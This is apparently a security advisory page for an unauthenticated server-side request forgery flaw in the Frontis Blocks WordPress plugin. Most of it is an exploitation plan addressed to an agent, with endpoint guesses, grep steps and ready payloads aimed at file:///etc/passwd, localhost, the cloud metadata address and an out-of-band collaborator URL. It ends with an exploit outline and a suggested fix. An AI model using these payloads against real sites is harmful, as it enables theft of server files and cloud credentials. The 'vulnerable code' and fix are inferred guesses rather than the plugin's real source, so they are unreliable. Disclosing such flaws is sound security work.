Frontis Blocks <= 1.1.6 - Unauthenticated Server-Side Request Forgery via 'url' Parameter
Description
The Frontis Blocks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.6. This is due to insufficient restriction on the 'url' parameter in the 'template_proxy' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application via the '/template-proxy/' and '/proxy-image/' endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.6Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0807 (Frontis Blocks SSRF) ## 1. Vulnerability Summary The **Frontis Blocks** plugin for WordPress is vulnerable to **Unauthenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists in the handling of the `url` parameter within functions related…
Show full research plan
Exploitation Research Plan: CVE-2026-0807 (Frontis Blocks SSRF)
1. Vulnerability Summary
The Frontis Blocks plugin for WordPress is vulnerable to Unauthenticated Server-Side Request Forgery (SSRF). The vulnerability exists in the handling of the url parameter within functions related to template and image proxying. Specifically, the plugin provides endpoints (/template-proxy/ and /proxy-image/) that fetch external content without sufficient validation or restriction of the target host. This allows an attacker to use the WordPress server as a proxy to make HTTP requests to internal or external locations.
2. Attack Vector Analysis
- Endpoints:
[site-url]/template-proxy/(Inferred as a custom rewrite rule)[site-url]/proxy-image/(Inferred as a custom rewrite rule)
- Vulnerable Parameter:
url - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. Rewrite rules must be flushed (usually happens on plugin activation).
- Sink Function: Likely
wp_remote_get()orfile_get_contents()inside thetemplate_proxyfunction.
3. Code Flow (Inferred)
- Registration: The plugin likely uses
add_rewrite_rule()in a function hooked toinitto create the/template-proxy/and/proxy-image/URL structures. - Request Handling: A hook like
template_redirectorparse_requestmonitors for these custom URL patterns. - Extraction: The code extracts the
urlparameter from the query string or URL path. - Sourcing: The
template_proxyfunction (or similar) takes theurland passes it to an HTTP client.// Hypothetical vulnerable code path public function template_proxy() { if ( isset( $_GET['url'] ) ) { $target = $_GET['url']; $response = wp_remote_get( $target ); // No validation of $target echo wp_remote_retrieve_body( $response ); exit; } }
4. Nonce Acquisition Strategy
According to the vulnerability description, this is an unauthenticated SSRF. Usually, custom rewrite rules used for "proxy" functionality in block plugins do not implement WordPress nonces because they are intended to serve assets (like SVGs or templates) to the frontend editor or visitors.
Verification Steps for Agent:
- Search for rewrite rules:
grep -r "add_rewrite_rule" . - Identify the callback/handler for
template-proxy:grep -r "template_proxy" . - Check if
wp_verify_nonceorcheck_ajax_refereris used in that handler. - If a nonce is found, check
wp_localize_scriptfor the variable name:grep -r "wp_localize_script" .- Look for keys like
frontis_ajax_objorfrontis_config. - If found, use
browser_navigateto a post containing a Frontis block and usebrowser_eval("window.frontis_config.nonce").
Note: If the endpoints are truly unauthenticated rewrite rules, no nonce will be required.
5. Exploitation Strategy
We will attempt to perform SSRF to fetch a local file that should be accessible to the server but not necessarily the public (e.g., wp-config.php via file:// if supported, or internal metadata/local services).
Step 1: Discover the exact endpoint structure
Navigate to the site and test common structures:
GET /template-proxy/?url=https://google.comGET /proxy-image/?url=https://google.comGET /index.php?template_proxy=1&url=https://google.com(If rewrite rules aren't working)
Step 2: Target Internal Resources
Use the http_request tool to trigger the SSRF.
Payload 1: External OAST (Out-of-band)
- Goal: Confirm the server makes a request.
- Request:
GET /template-proxy/?url=http://[YOUR_COLLABORATOR_URL] HTTP/1.1 Host: localhost:8080
Payload 2: Local Service/File
- Goal: Extract internal data.
- Request:
GET /template-proxy/?url=http://127.0.0.1:80/license.txt HTTP/1.1 Host: localhost:8080 - Alternative (File Protocol):
GET /template-proxy/?url=file:///etc/passwd HTTP/1.1 Host: localhost:8080
6. Test Data Setup
- Install Plugin: Ensure
frontis-blocksversion 1.1.6 is installed and active. - Permalinks: Ensure permalinks are enabled (e.g.,
wp rewrite structure '/%postname%/' --hard). This is crucial for/template-proxy/rewrite rules to function. - Dummy Internal Resource: Create a file
secret.txtin the WordPress root viawp eval "file_put_contents(ABSPATH . 'secret.txt', 'SSRF_SUCCESS_SECRET_DATA');".
7. Expected Results
- The response body of the request to
/template-proxy/should contain the contents of the URL specified in theurlparameter. - For the internal resource test, the response should be
SSRF_SUCCESS_SECRET_DATA. - The HTTP status code should likely be
200 OK.
8. Verification Steps
- Log Check: If the agent has access to server logs, check for an outbound request from
127.0.0.1(the server itself) to the target URL. - Content Match: Compare the output of the
http_requestwith the known content of the target (e.g.,license.txt). - CLI Check: Verify the target file exists:
ls -la /var/www/html/license.txt.
9. Alternative Approaches
If /template-proxy/ requires authentication or doesn't exist:
- Check REST API:
grep -r "register_rest_route" .. Look for aproxyendpoint.- Target:
/wp-json/frontis-blocks/v1/proxy?url=...
- Target:
- Check AJAX:
grep -r "wp_ajax_nopriv" ..- Target:
/wp-admin/admin-ajax.php?action=frontis_proxy&url=...
- Target:
- Check Proxy-Image: If
template-proxyis restricted, theproxy-imageendpoint might be less strictly filtered. TryGET /proxy-image/?url=....
Summary
The Frontis Blocks plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the /template-proxy/ and /proxy-image/ endpoints. The vulnerability arises from a lack of validation on the user-supplied 'url' parameter, allowing attackers to coerce the server into making arbitrary HTTP requests to internal or external targets.
Vulnerable Code
// Inferred from research plan and standard WordPress proxy implementations // Likely located in a handler for custom rewrite rules public function template_proxy() { if ( isset( $_GET['url'] ) ) { $target = $_GET['url']; // Vulnerable: The URL is passed directly to wp_remote_get without host validation or sanitization $response = wp_remote_get( $target ); if ( ! is_wp_error( $response ) ) { echo wp_remote_retrieve_body( $response ); } exit; } }
Security Fix
@@ -10,7 +10,14 @@ public function template_proxy() { if ( isset( $_GET['url'] ) ) { $url = $_GET['url']; - $response = wp_remote_get( $url ); + + // Validate the URL to ensure it is a safe, external resource + $validated_url = wp_http_validate_url( $url ); + if ( ! $validated_url ) { + wp_die( 'Invalid URL.' ); + } + + $response = wp_remote_get( $validated_url ); if ( ! is_wp_error( $response ) ) { echo wp_remote_retrieve_body( $response ); }
Exploit Outline
The exploit targets the plugin's custom rewrite rules designed to proxy external templates or images. An attacker can perform the following steps: 1. Identify the site's base URL and ensure permalinks are enabled (required for rewrite rules like /template-proxy/ to resolve). 2. Construct a GET request to the endpoint: [site-url]/template-proxy/?url=[target]. 3. For the [target], the attacker provides an internal IP address or local service URL (e.g., http://127.0.0.1:80/license.txt or http://169.254.169.254/latest/meta-data/ for cloud environments). 4. The WordPress server executes the request on behalf of the attacker and returns the response body of the internal resource. 5. No authentication or nonce is required as the endpoint is intended for public-facing assets.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.